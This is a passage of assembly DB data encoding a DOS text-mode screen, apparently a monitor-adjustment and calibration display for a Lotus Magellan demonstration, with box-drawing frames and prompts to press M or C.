20H, 07H,0BAH + DB 30H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H,0BAH, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 79H + DB 0FH, 6FH, 0FH, 75H, 0FH, 72H + DB 0FH, 20H, 0FH, 6DH, 0FH, 6FH + DB 0FH, 6EH, 0FH, 69H, 0FH, 74H + DB 0FH, 6FH, 0FH, 72H, 0FH, 20H + DB 0FH, 75H, 0FH, 6EH, 0FH, 74H + DB 0FH, 69H, 0FH, 6CH, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 07H,0BAH, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H,0BAH, 30H, 20H + DB 07H, 20H, 07H, 20H, 07H, 79H + DB 0FH, 6FH, 0FH, 75H, 0FH, 72H + DB 0FH, 20H, 0FH, 6DH, 0FH, 6FH + DB 0FH, 6EH, 0FH, 69H, 0FH, 74H + DB 0FH, 6FH, 0FH, 72H, 0FH, 20H + DB 0FH, 75H, 0FH, 6EH, 0FH, 74H + DB 0FH, 69H, 0FH, 6CH, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 07H, 20H, 07H,0BAH, 30H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H,0BAH, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 61H, 0FH, 20H + DB 0FH, 62H, 0FH, 6FH, 0FH, 78H + DB 0FH, 20H, 0FH, 61H, 0FH, 70H + DB 0FH, 70H, 0FH, 65H, 0FH, 61H + DB 0FH, 72H, 0FH, 73H, 0FH, 20H + DB 0FH, 61H, 0FH, 72H, 0FH, 6FH + DB 0FH, 75H, 0FH, 6EH, 0FH, 64H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 07H,0BAH, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H,0BAH, 30H, 20H, 07H, 20H + DB 07H, 20H, 07H, 61H, 0FH, 20H + DB 0FH, 62H, 0FH, 6FH, 0FH, 78H + DB 0FH, 20H, 0FH, 69H, 0FH, 73H + DB 0FH, 20H, 0FH, 63H, 0FH, 6CH + DB 0FH, 65H, 0FH, 61H, 0FH, 72H + DB 0FH, 6CH, 0FH, 79H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 07H, 20H + DB 07H,0BAH, 30H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H,0BAH + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 74H, 0FH, 68H, 0FH, 69H + DB 0FH, 73H, 0FH, 20H, 0FH, 74H + DB 0FH, 65H, 0FH, 78H, 0FH, 74H + DB 0FH, 2EH, 0FH, 20H, 0FH, 20H + DB 0FH, 54H, 0FH, 68H, 0FH, 65H + DB 0FH, 20H, 0FH, 74H, 0FH, 65H + DB 0FH, 78H, 0FH, 74H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 07H,0BAH + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H,0BAH + DB 30H, 20H, 07H, 20H, 07H, 20H + DB 07H, 76H, 0FH, 69H, 0FH, 73H + DB 0FH, 69H, 0FH, 62H, 0FH, 6CH + DB 0FH, 65H, 0FH, 20H, 0FH, 61H + DB 0FH, 72H, 0FH, 6FH, 0FH, 75H + DB 0FH, 6EH, 0FH, 64H, 0FH, 20H + DB 0FH, 74H, 0FH, 68H, 0FH, 69H + DB 0FH, 73H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 07H, 20H, 07H,0BAH + DB 30H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H,0BAH, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 73H + DB 0FH, 68H, 0FH, 6FH, 0FH, 75H + DB 0FH, 6CH, 0FH, 64H, 0FH, 20H + DB 0FH, 62H, 0FH, 65H, 0FH, 20H + DB 0FH, 62H, 0FH, 72H, 0FH, 69H + DB 0FH, 67H, 0FH, 68H, 0FH, 74H + DB 0FH, 65H, 0FH, 72H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 07H,0BAH, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H,0BAH, 30H, 20H + DB 07H, 20H, 07H, 20H, 07H, 74H + DB 0FH, 65H, 0FH, 78H, 0FH, 74H + DB 0FH, 2EH, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 07H, 20H, 07H,0BAH, 30H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H,0BAH, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 74H, 0FH, 68H + DB 0FH, 61H, 0FH, 6EH, 0FH, 20H + DB 0FH, 74H, 0FH, 68H, 0FH, 65H + DB 0FH, 20H, 0FH, 62H, 0FH, 6FH + DB 0FH, 78H, 0FH, 2EH, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 07H,0BAH, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H,0BAH, 30H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 07H, 20H + DB 07H,0BAH, 30H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H,0BAH + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H,0BAH + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H,0BAH + DB 30H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H,0BAH + DB 30H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H,0BAH, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 54H + DB 0FH, 68H, 0FH, 65H, 0FH, 6EH + DB 0FH, 20H, 0FH, 70H, 0FH, 72H + DB 0FH, 65H, 0FH, 73H, 0FH, 73H + DB 0FH, 20H, 0FH, 20H, 0FH, 4DH + DB 07H, 20H, 0FH, 20H, 0FH, 74H + DB 0FH, 6FH, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 07H,0BAH, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H,0BAH, 30H, 20H + DB 07H, 20H, 07H, 20H, 07H, 54H + DB 0FH, 68H, 0FH, 65H, 0FH, 6EH + DB 0FH, 20H, 0FH, 70H, 0FH, 72H + DB 0FH, 65H, 0FH, 73H, 0FH, 73H + DB 0FH, 20H, 0FH, 20H, 0FH, 43H + DB 07H, 20H, 0FH, 20H, 0FH, 74H + DB 0FH, 6FH, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 07H, 20H, 07H,0BAH, 30H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H,0BAH, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 63H, 0FH, 6FH + DB 0FH, 6EH, 0FH, 74H, 0FH, 69H + DB 0FH, 6EH, 0FH, 75H, 0FH, 65H + DB 0FH, 2EH, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 07H,0BAH, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H,0BAH, 30H, 20H, 07H, 20H + DB 07H, 20H, 07H, 63H, 0FH, 6FH + DB 0FH, 6EH, 0FH, 74H, 0FH, 69H + DB 0FH, 6EH, 0FH, 75H, 0FH, 65H + DB 0FH, 2EH, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 07H, 20H + DB 07H,0BAH, 30H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H,0BAH + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H,0BAH + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H,0BAH + DB 30H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H,0BAH + DB 30H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H,0C8H, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0BCH, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H,0C8H, 30H,0CDH + DB 30H,0CDH, 30H,0CDH, 30H,0CDH + DB 30H,0CDH, 30H,0CDH, 30H,0CDH + DB 30H,0CDH, 30H,0CDH, 30H,0CDH + DB 30H,0CDH, 30H,0CDH, 30H,0CDH + DB 30H,0CDH, 30H,0CDH, 30H,0CDH + DB 30H,0CDH, 30H,0CDH, 30H,0CDH + DB 30H,0CDH, 30H,0CDH, 30H,0CDH + DB 30H,0CDH, 30H,0CDH, 30H,0CDH + DB 30H,0CDH, 30H,0BCH, 30H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H, 20H, 07H, 42H, 07H, 45H + DB 07H, 46H, 07H, 4FH, 07H, 52H + DB 07H, 45H, 07H, 20H, 07H, 59H + DB 07H, 4FH, 07H, 55H, 07H, 20H + DB 07H, 42H, 07H, 45H, 07H, 47H + DB 07H, 49H, 07H, 4EH, 07H, 20H + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H,0C9H, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0BBH + DB 07H, 20H, 0FH, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H,0BAH, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H,0BAH, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H,0BAH + DB 07H, 20H, 07H, 20H, 07H, 54H + DB 0FH, 6FH, 0FH, 20H, 0FH, 69H + DB 0FH, 6EH, 0FH, 73H, 0FH, 75H + DB 0FH, 72H, 0FH, 65H, 0FH, 20H + DB 0FH, 74H, 0FH, 68H, 0FH, 65H + DB 0FH, 20H, 0FH, 62H, 0FH, 65H + DB 0FH, 73H, 0FH, 74H, 0FH, 20H + DB 0FH, 64H, 0FH, 65H, 0FH, 6DH + DB 0FH, 6FH, 0FH, 6EH, 0FH, 73H + DB 0FH, 74H, 0FH, 72H, 0FH, 61H + DB 0FH, 74H, 0FH, 69H, 0FH, 6FH + DB 0FH, 6EH, 0FH, 20H, 0FH, 6FH + DB 0FH, 66H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 07H, 20H, 07H, 20H + DB 07H,0BAH, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H,0BAH, 07H, 20H + DB 07H, 20H, 07H, 4CH, 0FH, 6FH + DB 0FH, 74H, 0FH, 75H, 0FH, 73H + DB 0FH, 20H, 0FH, 4DH, 0FH, 61H + DB 0FH, 67H, 0FH, 65H, 0FH, 6CH + DB 0FH, 6CH, 0FH, 61H, 0FH, 6EH + DB 0FH, 2CH, 0FH, 20H, 0FH, 79H + DB 0FH, 6FH, 0FH, 75H, 0FH, 20H + DB 0FH, 6EH, 0FH, 65H, 0FH, 65H + DB 0FH, 64H, 0FH, 20H, 0FH, 74H + DB 0FH, 6FH, 0FH, 20H, 0FH, 61H + DB 0FH, 64H, 0FH, 6AH, 0FH, 75H + DB 0FH, 73H, 0FH, 74H, 0FH, 20H + DB 0FH, 79H, 0FH, 6FH, 0FH, 75H + DB 0FH, 72H, 0FH, 20H, 07H,0BAH + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H,0BAH, 07H, 20H, 07H, 20H + DB 07H, 6DH, 0FH, 6FH, 0FH, 6EH + DB 0FH, 69H, 0FH, 74H, 0FH, 6FH + DB 0FH, 72H, 0FH, 2EH, 0FH, 20H + DB 0FH, 20H, 0FH, 54H, 0FH, 75H + DB 0FH, 72H, 0FH, 6EH, 0FH, 20H + DB 0FH, 74H, 0FH, 68H, 0FH, 65H + DB 0FH, 20H, 0FH, 62H, 0FH, 72H + DB 0FH, 69H, 0FH, 